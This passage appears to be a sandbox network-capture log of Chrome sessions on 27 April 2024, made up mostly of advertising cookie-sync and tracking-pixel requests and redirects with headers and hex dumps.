2024-04-27 22:42:17 UTC	635	IN	HTTP/1.1 302 Moved Temporarily Content-Length: 0 Connection: close Server: CloudFront Date: Sat, 27 Apr 2024 22:41:36 GMT Cache-Control: no-cache, must-revalidate Set-Cookie: SCM=f5d84fd23f; Max-Age=1814400; Domain=.smaato.net; SameSite=None; Path=/; Secure Set-Cookie: SCMsovrn=f5d84fd23f; Max-Age=1814400; Domain=.smaato.net; Path=/; SameSite=None; Secure Location: https://ce.lijit.com/merge?pid=108&3pid=f5d84fd23f X-Cache: Hit from cloudfront Via: 1.1 0dc81f450c72d91e34b5a0b41d441f28.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD89-P2 X-Amz-Cf-Id: JTALzqFQiisVFdwIndm_HxfN8bdtF_b90M2piFRuAFLk4Fy9ClPP-A== Age: 41

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
473	192.168.2.4	50355	34.36.216.150	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:17 UTC	641	OUT	GET /dmp/pixelSync?nid=23&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1 Host: pixel-sync.sitescout.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:17 UTC	459	IN	HTTP/1.1 302 Found set-cookie: ssi=14f55726-f4ad-421d-bd2f-9c7bac51541e#1714257737901; Domain=.sitescout.com; Expires=Sun, 27-Apr-2025 22:42:17 GMT; Path=/; Secure; SameSite=None location: https://pixel-sync.sitescout.com/dmp/pixelSync?cookieQ=1&nid=23&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 Content-Length: 0 date: Sat, 27 Apr 2024 22:42:17 GMT server: A via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
474	192.168.2.4	50349	3.33.220.150	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:17 UTC	775	OUT	GET /track/cmf/generic?ttd_pid=federatedmedia&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1 Host: data.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; TDCPM=CAESFgoHcnViaWNvbhILCOTVj6KqxfM8EAUYBSADKAIyCwiQndbuv8XzPBAFOAE.
2024-04-27 22:42:18 UTC	543	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:17 GMT Content-Length: 223 Connection: close server: Kestrel location: https://ce.lijit.com/merge?pid=27&3pid=43e7dc8e-5458-4375-be4a-644737ed4dbd&gdpr=0&gdpr_consent= set-cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; expires=Sun, 27 Apr 2025 22:42:17 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESFgoHcnViaWNvbhILCOTVj6KqxfM8EAUYBSAEKAIyCwiQndbuv8XzPBAFOAE.; expires=Sun, 27 Apr 2025 22:42:17 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-04-27 22:42:18 UTC	223	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 65 2e 6c 69 6a 69 74 2e 63 6f 6d 2f 6d 65 72 67 65 3f 70 69 64 3d 32 37 26 33 70 69 64 3d 34 33 65 37 64 63 38 65 2d 35 34 35 38 2d 34 33 37 35 2d 62 65 34 61 2d 36 34 34 37 33 37 65 64 34 64 62 64 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 68 74 74 70 73 3a 2f 2f 63 65 2e 6c 69 6a 69 74 2e 63 6f 6d 2f 6d 65 72 67 65 3f 70 69 64 3d 32 37 26 33 70 69 64 3d 34 33 65 37 64 63 38 65 2d 35 34 35 38 2d 34 33 37 35 2d 62 65 34 61 2d 36 34 34 37 33 37 65 64 34 64 62 64 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 3c 2f 61 3e Data Ascii: Redirecting to: <a href="https://ce.lijit.com/merge?pid=27&3pid=43e7dc8e-5458-4375-be4a-644737ed4dbd&gdpr=0&gdpr_consent=">https://ce.lijit.com/merge?pid=27&3pid=43e7dc8e-5458-4375-be4a-644737ed4dbd&gdpr=0&gdpr_consent=</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
475	192.168.2.4	50357	52.223.40.198	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:19 UTC	767	OUT	GET /track/cmf/generic?ttd_pid=8m33zk4&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; TDCPM=CAESFgoHcnViaWNvbhILCOTVj6KqxfM8EAUYBSADKAIyCwiQndbuv8XzPBAFOAE.
2024-04-27 22:42:19 UTC	547	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:19 GMT Content-Length: 199 Connection: close server: Kestrel location: https://cs.media.net/cksync?cs=1&type=ttd&ovsid=43e7dc8e-5458-4375-be4a-644737ed4dbd set-cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; expires=Sun, 27 Apr 2025 22:42:19 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESFgoHcnViaWNvbhILCOTVj6KqxfM8EAUYASABKAIyCwik_aLxwMXzPBAFOAFaBzhtMzN6azRgAg..; expires=Sun, 27 Apr 2025 22:42:19 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-04-27 22:42:19 UTC	199	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 73 2e 6d 65 64 69 61 2e 6e 65 74 2f 63 6b 73 79 6e 63 3f 63 73 3d 31 26 74 79 70 65 3d 74 74 64 26 6f 76 73 69 64 3d 34 33 65 37 64 63 38 65 2d 35 34 35 38 2d 34 33 37 35 2d 62 65 34 61 2d 36 34 34 37 33 37 65 64 34 64 62 64 22 3e 68 74 74 70 73 3a 2f 2f 63 73 2e 6d 65 64 69 61 2e 6e 65 74 2f 63 6b 73 79 6e 63 3f 63 73 3d 31 26 74 79 70 65 3d 74 74 64 26 6f 76 73 69 64 3d 34 33 65 37 64 63 38 65 2d 35 34 35 38 2d 34 33 37 35 2d 62 65 34 61 2d 36 34 34 37 33 37 65 64 34 64 62 64 3c 2f 61 3e Data Ascii: Redirecting to: <a href="https://cs.media.net/cksync?cs=1&type=ttd&ovsid=43e7dc8e-5458-4375-be4a-644737ed4dbd">https://cs.media.net/cksync?cs=1&type=ttd&ovsid=43e7dc8e-5458-4375-be4a-644737ed4dbd</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
476	192.168.2.4	50354	34.228.243.82	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:19 UTC	737	OUT	GET /pixel.gif?ch=185&cm=IkESATZH81_FapvzRxGQQ8ru&redir=https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D84%263pid%3D%7Bvisitor_id%7D&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1 Host: aorta.clickagy.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:19 UTC	930	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:19 GMT Content-Type: text/plain Content-Length: 0 Connection: close server: Aorta/20240426.386bdbeed X-Aorta-Host: ad1e6791f4af X-Aorta-Region: us-east-1 access-control-allow-credentials: true access-control-allow-headers: Origin,cache-control,content-type,man,messagetype,soapaction access-control-expose-headers: Set-Cookie access-control-allow-methods: POST, GET, OPTIONS access-control-allow-origin: * access-control-max-age: 31536000 cache-control: no-cache, no-store, must-revalidate expect: 0 Location: https://ce.lijit.com/merge?pid=84&3pid=Zi1_S2OshjMK_HtYDNE94Cf- set-cookie: cb=Zi1_S2OshjMK_HtYDNE94Cf-; Max-Age=63027504; Expires=Mon, 27 Apr 2026 10:20:43 GMT; Path=/; Domain=.clickagy.com; SameSite=None; Secure set-cookie: chs=[{"ch":"185","t":"2024-04-27 22:42:19"}]; Max-Age=63027504; Expires=Mon, 27 Apr 2026 10:20:43 GMT; SameSite=None; Secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
477	192.168.2.4	50353	192.184.68.134	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:19 UTC	650	OUT	GET /pixel/p-CXt61zNBpKUt1.gif?idmatch=0&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1 Host: cms.quantserve.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:19 UTC	731	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:19 GMT Content-Length: 0 Connection: close Cache-Control: private, no-cache, no-store, proxy-revalidate Expires: Fri, 04 Aug 1978 12:00:00 GMT Location: https://ce.lijit.com/merge?pid=43&gdpr=0&gdpr_consent=&us_privacy=%{us_privacy}&3pid=WwE2P1pRMDlAVjBvWFMpPgwONT1ABjdvCVHWcVwW P3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAo PSDo OUR SAMa IND COM NAV" Pragma: no-cache Set-Cookie: d=EFsBDQHbK9-owQA; expires=Fri, 26-Jul-2024 22:42:19 GMT; path=/; domain=.quantserve.com; SameSite=None; Secure Set-Cookie: mc=662d7f4b-a445d-ea91f-134df; expires=Wed, 28-May-2025 22:42:19 GMT; path=/; domain=.quantserve.com; SameSite=None; Secure Strict-Transport-Security: max-age=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
478	192.168.2.4	50356	198.148.27.131	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:19 UTC	698	OUT	GET /bh/rtset?pid=558511&ev=1&rurl=https%3A%2F%2Fce.lijit.com/merge?pid=49&3pid=%%VGUID%%&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1 Host: bh.contextweb.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:19 UTC	1472	IN	HTTP/1.1 302 Found Connection: close P3P: policyref="/bh/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" Accept-CH: Sec-CH-UA,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Mobile,Sec-CH-UA-Model,Sec-CH-UA-Platform,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform-Version CW-Server: bh-deployment-777b7bb56-2868l Cache-Control: private, max-age=0, no-cache, no-store Expires: -1 Content-Language: en-US Set-Cookie: gpp=DBAA;Version=0;Secure;Path=/;Domain=.contextweb.com;Expires=Sun, 27-Apr-2025 22:42:19 GMT;Max-Age=31536000;SameSite=None Set-Cookie: V=hXzkUsfkVblR;Version=0;Secure;Path=/;Domain=.contextweb.com;Expires=Tue, 22-Apr-2025 22:42:19 GMT;Max-Age=31104000;SameSite=None Set-Cookie: VP=part_hXzkUsfkVblR;Version=0;Path=/;Domain=.contextweb.com;Max-Age=31104000;Secure;Expires=Tue, 22-Apr-2025 22:42:19 GMT;SameSite=None;Partitioned Set-Cookie: pb_rtb_ev=3-1r1t\|7dW.0.1;Version=0;Secure;Path=/;Domain=.contextweb.com;Expires=Sun, 27-Apr-2025 22:42:19 GMT;Max-Age=31536000;SameSite=None Set-Cookie: pb_rtb_ev_part=3-1r1t\|7dW.0.1;Version=0;Path=/;Domain=.contextweb.com;Max-Age=31536000;Secure;Expires=Sun, 27-Apr-2025 22:42:19 GMT;SameSite=None;Partitioned Location: https://ce.lijit.com/merge?pid=49&3pid=hXzkUsfkVblR&ev=1&gpp_sid=-1&gpp=DBAA&pid=558511&gdpr_consent=&gdpr=0 Server: Jetty(10.0.14) Strict-Transport-Security: max-age=15768000 Set-Cookie: INGRESSCOOKIE=92ef2eb01aea45b9; path=/; HttpOnly; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
479	192.168.2.4	50352	82.145.213.8	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:19 UTC	644	OUT	GET /pub/sync?pubid=pub10014056052800&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1 Host: t.adx.opera.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:19 UTC	786	IN	HTTP/1.1 302 Found Server: Tengine Date: Sat, 27 Apr 2024 22:42:19 GMT Content-Type: text/html; charset=utf-8 Content-Length: 159 Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization, accept, origin, Cache-Control, X-Requested-With Access-Control-Allow-Methods: POST, GET Access-Control-Allow-Origin: * Cache-Control: no-cache, no-store, must-revalidate Expires: Mon, 01 Jan 1990 00:00:00 GMT Location: https://ce.lijit.com/merge?3pid=OPU690312adc0a749a7834a32518588f9ba&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&pid=103 Pragma: no-cache Set-Cookie: UID=OPU690312adc0a749a7834a32518588f9ba; Path=/; Domain=adx.opera.com; Max-Age=31536000; Secure; SameSite=None
2024-04-27 22:42:19 UTC	159	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 65 2e 6c 69 6a 69 74 2e 63 6f 6d 2f 6d 65 72 67 65 3f 33 70 69 64 3d 4f 50 55 36 39 30 33 31 32 61 64 63 30 61 37 34 39 61 37 38 33 34 61 33 32 35 31 38 35 38 38 66 39 62 61 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 61 6d 70 3b 67 70 70 3d 44 42 41 41 26 61 6d 70 3b 67 70 70 5f 73 69 64 3d 2d 31 26 61 6d 70 3b 70 69 64 3d 31 30 33 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://ce.lijit.com/merge?3pid=OPU690312adc0a749a7834a32518588f9ba&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&pid=103">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
480	192.168.2.4	50348	69.194.240.13	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:19 UTC	1100	OUT	GET /usersync2/rmphb?gdpr=0&gdpr_consent=&us_privacy=1YNN&redir=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dunruly%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%5BRX_UUID%5D HTTP/1.1 Host: sync.1rx.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-915945b2-6af3-4975-9839-febe73c73a74-005%22%2C%22zdxidn%22%3A%222057.4%22%2C%22nxtrdr%22%3A%22https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3572593249104590000V10%26type%3Dr1%26refUrl%3D%26vid%3D42577288383572593249104590000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D%22%7D
2024-04-27 22:42:19 UTC	511	IN	HTTP/1.1 302 Found date: Sat, 27 Apr 2024 22:42:19 GMT content-type: text/html transfer-encoding: chunked cache-control: no-store, no-cache, must-revalidate expires: 0 pragma: no-cache location: https://sync.targeting.unrulymedia.com/csync/RX-915945b2-6af3-4975-9839-febe73c73a74-005?redir=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dunruly%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3DRX-915945b2-6af3-4975-9839-febe73c73a74-005%26us_privacy%3D1YNN connection: close
2024-04-27 22:42:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
481	192.168.2.4	50171	207.65.37.181	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:20 UTC	1672	OUT	GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=16826267&p=133799&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1 Host: image6.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; chkChromeAb67Sec=1; DPSync3=1715385600%3A201_263%7C1714780800%3A252_265; SyncRTB3=1715385600%3A220_104_231_3_21_13_54_71_250%7C1714780800%3A223; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; KRTBCOOKIE_377=6810-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22918-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22926-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&23031-43e7dc8e-5458-4375-be4a-644737ed4dbd; KRTBCOOKIE_279=22890-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23011-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23355-f10e083f-54cc-4ce5-aa07-8210352e586a; KRTBCOOKIE_80=22987-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23025-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23386-CAESEJOnsZ4Y0zvykm-BqQM3Kw0; KRTBCOOKIE_148=19421-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23486-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23489-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23539-uid:A6347C54E561441189B9C53740B29AD4; PugT=1714257735; SPugT=1714257737
2024-04-27 22:42:20 UTC	943	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3p: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; domain=pubmatic.com; path=/; max-age=31536000; SameSite=None; secure; Set-Cookie: chkChromeAb67Sec=2; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: pi=133799:4; domain=pubmatic.com; path=/; max-age=86400; SameSite=None; secure; Set-Cookie: DPSync3=1714780800%3A252_265%7C1715385600%3A262_261_260_259_201_263; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: SyncRTB3=1715385600%3A8_55_220_104_250_165_231_166_5_21_54_178_3_13_71_233%7C1714780800%3A223_15_2%7C1715040000%3A63; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Date: Sat, 27 Apr 2024 22:42:20 GMT Content-Length: 1826 Connection: close
2024-04-27 22:42:20 UTC	1826	IN	Data Raw: 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 74 68 72 74 6c 65 2e 63 6f 6d 2f 69 6e 73 79 6e 63 3f 76 78 69 69 5f 70 69 64 3d 31 30 30 36 37 26 76 78 69 69 5f 70 64 69 64 3d 45 45 37 42 35 39 46 45 2d 39 44 41 46 2d 34 31 35 44 2d 41 39 33 43 2d 37 41 46 34 38 30 32 30 44 44 37 42 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 27 29 3b 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 75 73 2d 75 2e 6f 70 65 6e 78 2e 6e 65 74 2f 77 2f 31 2e 30 2f 73 64 3f 69 64 3d 35 34 30 32 34 35 31 39 33 26 76 61 6c 3d 45 45 37 42 35 39 46 45 2d 39 44 41 46 2d 34 31 35 44 2d 41 39 33 43 2d 37 41 46 34 38 30 32 30 44 44 37 Data Ascii: PubMatic.loadAsyncImagePixel('https://thrtle.com/insync?vxii_pid=10067&vxii_pdid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://us-u.openx.net/w/1.0/sd?id=540245193&val=EE7B59FE-9DAF-415D-A93C-7AF48020DD7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
482	192.168.2.4	50368	142.251.167.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:20 UTC	1107	OUT	GET /pixel?google_nid=gumgum_dbm&google_hm=dV80YzUzNTQwZS01YTIwLTRmYzAtOTRiYy05NmI1NjE4YTI1ZDI=&gdpr=0&gdpr_consent=&google_redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dgdv HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
2024-04-27 22:42:20 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Sat, 27 Apr 2024 22:42:20 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:20 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
483	192.168.2.4	50362	54.83.59.21	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
